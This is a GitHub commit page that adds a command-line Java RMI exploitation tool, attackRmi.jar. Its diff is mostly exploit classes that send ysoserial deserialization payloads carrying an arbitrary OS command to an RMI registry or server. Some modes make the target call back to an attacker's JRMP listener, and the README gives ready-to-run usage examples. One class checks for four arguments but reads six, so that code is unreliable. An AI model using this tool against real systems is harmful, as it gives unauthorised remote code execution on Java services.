Skip to content

Commit

Permalink
add attackRmi.jar
Browse files Browse the repository at this point in the history
  • Loading branch information
waderwu committed Oct 14, 2020
1 parent 98df9d3 commit 1d1b64e
Show file tree
Hide file tree
Showing 10 changed files with 294 additions and 31 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
*.zip
*.tar.gz
*.rar
*.iml

# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*
Expand Down
40 changes: 38 additions & 2 deletions readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,43 @@ condition:

https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/033462472c28

## Usage
```
ByDGC OR ByLookup
Usage: java -jar attackRmi.jar DOL [registryHost] [registryPort] '[command]'
ByLookupAndUnicastRef OR ByLookupAndUnicastRefRemoteObject
Usage: java -jar attackRmi.jar LAU [registryHost] [registryPort] [JRMPListenHost] [JRMPListenPort]
Usage: java -jar attackRmi.jar LAUS [registryHost] [registryPort] [serverIp] [startPort] '[command]' (run at server)
ByNonPrimitiveParameter
Usage: java -jar attackRmi.jar NPP [registryHost] [registryPort] [name] '[methodSignature]' '[command]'
AttackRegistryByDGC
Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByDGC [registryHost] [registryPort] [payload] '[command]'
AttackRegistryByLookup
Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookup [registryHost] [registryPort] [payload] '[command]'
AttackRegistryByLookupAndUnicastRef
Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookupAndUnicastRef [registryHost] [registryPort] [JRMPListenHost] [JRMPListenPort]
AttackRegistryByLookupAndUnicastRefRemoteObject
Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookupAndUnicastRefRemoteObject [registryHost] [registryPort] [JRMPListenHost] [JRMPListenPort]
AttackServerByNonPrimitiveParameter
Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackServerByNonPrimitiveParameter [registryHost] [registryPort] [name] '[methodSignature]' [payloadType] '[command]'
```
example
- `java -jar attackRmi.jar DOL 127.0.0.1 1099 'open /System/Applications/Calculator.app'`
- `java -jar attackRmi.jar LAUS 127.0.0.1 1099 127.0.0.1 10000 'open /System/Applications/Calculator.app'`
- `java -jar attackRmi.jar LAU 127.0.0.1 1099 127.0.0.1 10000`
- `java -jar attackRmi.jar NPP 127.0.0.1 1099 hello 'sayHello(Ljava/lang/String;)Ljava/lang/String;' 'open /System/Applications/Calculator.app'`

For method signature, you can refer to https://stackoverflow.com/questions/8066253/compute-a-java-functions-signature

## TODO

- [ ] attackRMI.jar
- [ ] brute force gadget
- [x] attackRMI.jar
- [x] brute force gadget
- [ ] brute method
3 changes: 3 additions & 0 deletions src/META-INF/MANIFEST.MF
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
Manifest-Version: 1.0
Main-Class: com.wu.attackRmi.Main

7 changes: 7 additions & 0 deletions src/com/wu/attackRmi/Exploit/Attack.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
package com.wu.attackRmi.Exploit;

public class Attack {
public static void main(String[] args) {

}
}
34 changes: 29 additions & 5 deletions src/com/wu/attackRmi/Exploit/AttackRegistryByDGC.java
Original file line number Diff line number Diff line change
@@ -1,17 +1,41 @@
package com.wu.attackRmi.Exploit;

import com.wu.attackRmi.utils.Stub;
import ysoserial.payloads.CommonsCollections5;
import ysoserial.payloads.ObjectPayload;

import java.rmi.server.ObjID;


public class AttackRegistryByDGC {

public static void main(String[] args) throws Exception{
String host = "127.0.0.1";
int port = 1099;
Object payloadObject = new CommonsCollections5().getObject("open /System/Applications/Calculator.app");
if (args.length != 4) {
printUsage();
System.exit(64);
}

final String registryHost = args[0];
final int registryPort = Integer.parseInt(args[1]);
final String payloadType = args[2];
final String command = args[3];

System.out.println("Attacking: "+ registryHost + ":" + registryPort);
System.out.println("Payload: "+ payloadType);
System.out.println("command: "+ command);

final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object payloadObject = payload.getObject(command);
attack(registryHost, registryPort, payloadObject);
}

public static void attack(String registryHost, int registryPort, Object payloadObject) throws Exception{
ObjID objID = new ObjID(2);
Stub.exploit(host, port, payloadObject, objID, 0, -669196253586618813L);
Stub.exploit(registryHost, registryPort, payloadObject, objID, 0, -669196253586618813L);
}

private static void printUsage() {
System.err.println("AttackRegistryByDGC");
System.err.println("Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByDGC [registryHost] [registryPort] [payload] '[command]'");
}
}
33 changes: 28 additions & 5 deletions src/com/wu/attackRmi/Exploit/AttackRegistryByLookup.java
Original file line number Diff line number Diff line change
@@ -1,16 +1,39 @@
package com.wu.attackRmi.Exploit;

import com.wu.attackRmi.utils.Stub;
import ysoserial.payloads.CommonsCollections5;
import ysoserial.payloads.ObjectPayload;

import java.rmi.server.ObjID;

public class AttackRegistryByLookup {
public static void main(String[] args) throws Exception{
String host = "127.0.0.1";
int port = 1099;
Object payloadObject = new CommonsCollections5().getObject("open /System/Applications/Calculator.app");
if (args.length != 4) {
printUsage();
System.exit(64);
}

final String registryHost = args[0];
final int registryPort = Integer.parseInt(args[1]);
final String payloadType = args[2];
final String command = args[3];

System.out.println("Attacking: "+ registryHost + ":" + registryPort);
System.out.println("Payload: "+ payloadType);
System.out.println("command: "+ command);

final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object payloadObject = payload.getObject(command);
attack(registryHost, registryPort, payloadObject);
}

public static void attack(String registryHost, int registryPort, Object payloadObject) throws Exception{
ObjID objID = new ObjID(0);
Stub.exploit(host, port, payloadObject, objID, 2, 4905912898345647071L);
Stub.exploit(registryHost, registryPort, payloadObject, objID, 2, 4905912898345647071L);
}

private static void printUsage() {
System.err.println("AttackRegistryByLookup");
System.err.println("Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookup [registryHost] [registryPort] [payload] '[command]'");
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -10,10 +10,18 @@

public class AttackRegistryByLookupAndUnicastRef {
public static void main(String[] args) throws Exception{
String registryHost = "127.0.0.1";
int registryPort = 1099;
String JRMPListenHost = "127.0.0.1";
int JRMPListenPort = 3099;
if (args.length != 4) {
printUsage();
System.exit(64);
}

final String registryHost = args[0];
final int registryPort = Integer.parseInt(args[1]);
final String JRMPListenHost = args[2];
final int JRMPListenPort = Integer.parseInt(args[3]);

System.out.println("Attacking: "+ registryHost + ":" + registryPort);
System.out.println("JRMPServer: "+ JRMPListenHost + ":" + JRMPListenPort);

attack(registryHost, registryPort, JRMPListenHost, JRMPListenPort);
}
Expand All @@ -25,4 +33,9 @@ public static void attack(String registryHost, int registryPort, String JRMPList
ObjID objID = new ObjID(0);
Stub.exploit(registryHost, registryPort, ref, objID, 2, 4905912898345647071L);
}

private static void printUsage() {
System.err.println("AttackRegistryByLookupAndUnicastRef");
System.err.println("Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookupAndUnicastRef [registryHost] [registryPort] [JRMPListenHost] [JRMPListenPort]");
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -19,11 +19,18 @@
public class AttackRegistryByLookupAndUnicastRefRemoteObject {
public static void main(String[] args) throws Exception {

String JRMPListenHost = "127.0.0.1";
int JRMPListenPort = 3099;
if (args.length != 4) {
printUsage();
System.exit(64);
}

String registryHost = "127.0.0.1";
int registryPort = 1099;
final String registryHost = args[0];
final int registryPort = Integer.parseInt(args[1]);
final String JRMPListenHost = args[2];
final int JRMPListenPort = Integer.parseInt(args[3]);

System.out.println("Attacking: "+ registryHost + ":" + registryPort);
System.out.println("JRMPServer: "+ JRMPListenHost + ":" + JRMPListenPort);

attack(registryHost, registryPort, JRMPListenHost, JRMPListenPort);
}
Expand All @@ -48,4 +55,9 @@ public static void attack(String registryHost, int registryPort, String JRMPList
ObjID objID = new ObjID(0);
Stub.exploit(registryHost, registryPort, myRemoteObject, objID, 2, 4905912898345647071L);
}

private static void printUsage() {
System.err.println("AttackRegistryByLookupAndUnicastRefRemoteObject");
System.err.println("Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookupAndUnicastRefRemoteObject [registryHost] [registryPort] [JRMPListenHost] [JRMPListenPort]");
}
}
Original file line number Diff line number Diff line change
@@ -1,24 +1,36 @@
package com.wu.attackRmi.Exploit;

import com.wu.attackRmi.utils.KMPMatch;
import ysoserial.payloads.CommonsCollections5;
import com.wu.attackRmi.utils.Stub;
import com.wu.attackRmi.utils.ComputeMethodHash;
import ysoserial.payloads.ObjectPayload;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.rmi.server.ObjID;

public class AttackServerByNonPrimitiveParameter {
public static void main(String[] args) throws Exception {
String registryHost = "127.0.0.1";
int registryPort = 1099;
// String name = "hello";
// String methodSignature = "sayHello(Ljava/lang/String;)Ljava/lang/String;";
String name = "two";
String methodSignature = "helloman(Ljava/util/HashMap;)I";
String cmd = "open /System/Applications/Calculator.app";
Object payloadObject = new CommonsCollections5().getObject(cmd);
if (args.length != 4) {
printUsage();
System.exit(64);
}

final String registryHost = args[0];
final int registryPort = Integer.parseInt(args[1]);
final String name = args[2];
final String methodSignature = args[3]; //sayHello(Ljava/lang/String;)Ljava/lang/String;
final String payloadType = args[4];
final String command = args[5];

System.out.println("Attacking: "+ registryHost + ":" + registryPort);
System.out.println("Method: "+ methodSignature);
System.out.println("Payload: "+ payloadType);
System.out.println("command: "+ command);

final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object payloadObject = payload.getObject(command);

attack(registryHost, registryPort, name, methodSignature, payloadObject);
}
Expand All @@ -45,4 +57,9 @@ public static void attack(String registryHost, int registryPort, String lookupNa
long hash = ComputeMethodHash.computeMethodHash(methodSignature);
Stub.exploit(tcp_host, tcp_port, payloadObject, objID,-1, hash);
}

private static void printUsage() {
System.err.println("AttackServerByNonPrimitiveParameter");
System.err.println("Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackServerByNonPrimitiveParameter [registryHost] [registryPort] [name] [methodSignature] [payloadType] [command]");
}
}
Loading

0 comments on commit 1d1b64e

Please sign in to comment.